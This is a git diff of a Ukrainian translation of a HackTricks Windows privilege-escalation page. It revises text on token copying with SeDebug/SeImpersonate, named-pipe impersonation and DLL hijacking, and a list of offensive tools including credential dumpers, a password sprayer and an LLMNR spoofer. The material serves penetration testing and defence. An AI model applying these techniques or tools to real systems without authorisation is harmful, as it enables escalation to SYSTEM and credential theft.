### From SeDebug + SeImpersonate to Full Token privileges -Якщо у вас є ці привілеї токена (ймовірно ви знайдете їх у вже High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не захищені процеси) з привілеєм SeDebug, **скопіювати токен** процесу і створити **довільний процес з цим токеном**.\ -Зазвичай для цієї техніки **обирають будь-який процес, що працює як SYSTEM з усіма привілеями токена** (_так, можна знайти SYSTEM процеси без усіх привілеїв токена_).\ -**Ви можете знайти** [**приклад коду, що виконує описану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.** +Якщо у вас є ці привілеї токена (ймовірно ви знайдете їх у вже High Integrity процесі), ви зможете **відкрити майже будь-який процес** (не protected processes) з привілеєм SeDebug, **скопіювати токен** процесу та створити **довільний процес з цим токеном**.\ +Зазвичай при використанні цієї техніки **обирають процес, що працює як SYSTEM з усіма привілеями токена** (_так, можна знайти SYSTEM процеси без усіх привілеїв токена_).\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Ця техніка використовується meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні pipe і потім створенні/зловживанні сервісом для запису в цей pipe**. Тоді **сервер**, який створив pipe використовуючи привілей **`SeImpersonate`**, зможе **імперсонувати токен** клієнта pipe (сервісу), отримавши привілеї SYSTEM.\ -Якщо ви хочете [**дізнатися більше про name pipes — прочитайте це**](#named-pipe-client-impersonation).\ -Якщо ви хочете прочитати приклад [**як перейти від high integrity до System, використовуючи name pipes — прочитайте це**](from-high-integrity-to-system-with-name-pipes.md). +Цю техніку використовує meterpreter для ескалації в `getsystem`. Суть техніки — **створити pipe, а потім створити/зловживати службою, щоб записати в цей pipe**. Потім **сервер**, який створив pipe з привілеєм **`SeImpersonate`**, зможе **імітувати токен** клієнта pipe (служби) і отримати привілеї SYSTEM.\ +Якщо хочете [**дізнатися більше про name pipes — читайте це**](#named-pipe-client-impersonation).\ +Якщо хочете приклад [**як перейти з high integrity до System, використовуючи name pipes — читайте це**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з цими правами. Тому Dll Hijacking також корисний для такого роду ескалації привілеїв і, більш того, значно **легше досяжний з процесу high integrity**, оскільки він матиме **права на запис** у папках, що використовуються для завантаження dll.\ -**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.** +Якщо вам вдасться **перехопити dll**, яка завантажується процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими правами. Тому Dll Hijacking також корисний для такого типу ескалації привілеїв, і, до того ж, набагато **легше досяжний з процесу High Integrity**, оскільки він матиме **права на запис** у папки, які використовуються для завантаження dll.\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1572,57 +1604,57 @@ sc start newservicename ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## Більше допомоги +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Корисні інструменти +## Useful tools -**Найкращий інструмент для пошуку Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на неправильні налаштування та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє на можливі неправильні налаштування та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережену інформацію про сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough локально.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Credential Manager. Виявлено.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розповсюджує зібрані паролі по домену**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer та інструмент man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова інвентаризація Windows для privesc**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потрібні Admin права)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на misconfigurations та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє можливі misconfigurations та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевіряє на misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla і RDP. Використовуйте -Thorough локально.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує креденшали з Credential Manager. Виявлено.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилює зібрані паролі по домену**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер і інструмент man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова privesc енумерація Windows**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED заради Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потребує прав Admin)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Шукає відомі privesc вразливості (потрібно скомпілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуках неправильних налаштувань (скоріше інструмент збору інформації, ніж privesc) (потрібно скомпілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (precompiled exe на GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих privesc вразливостей (треба скомпілювати у VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перебирає хост в пошуках misconfigurations (більше інструмент збору інформації ніж privesc) (треба скомпілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує креденшали з багатьох програм (precompiled exe на GitHub)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл precompiled на GitHub). Не рекомендовано. Погано працює на Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих неправильних налаштувань (exe з python). Не рекомендовано. Погано працює на Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на misconfiguration (виконуваний файл precompiled на GitHub). Не рекомендовано. Погано працює на Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевіряє можливі misconfigurations (exe з python). Не рекомендовано. Погано працює на Win10. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього поста (не потребує accesschk для коректної роботи, але може його використовувати). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Інструмент створений на основі цього посту (не потребує accesschk для коректної роботи, але може його використовувати). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і рекомендує робочі експлойти (локальний python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** та рекомендує робочі експлойти (локальний python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і пропонує робочі експлойти (локальний python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** і пропонує робочі експлойти (локальний python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Потрібно скомпілювати проект, використовуючи коректну версію .NET ([див. це](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб побачити встановлену версію .NET на хості жертви ви можете зробити: +Вам потрібно скомпілювати проект, використовуючи правильну версію .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб переглянути встановлену версію .NET на хості жертви, ви можете: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Посилання +## Джерела - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) @@ -1641,4 +1673,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) + {{#include ../../banners/hacktricks-training.md}}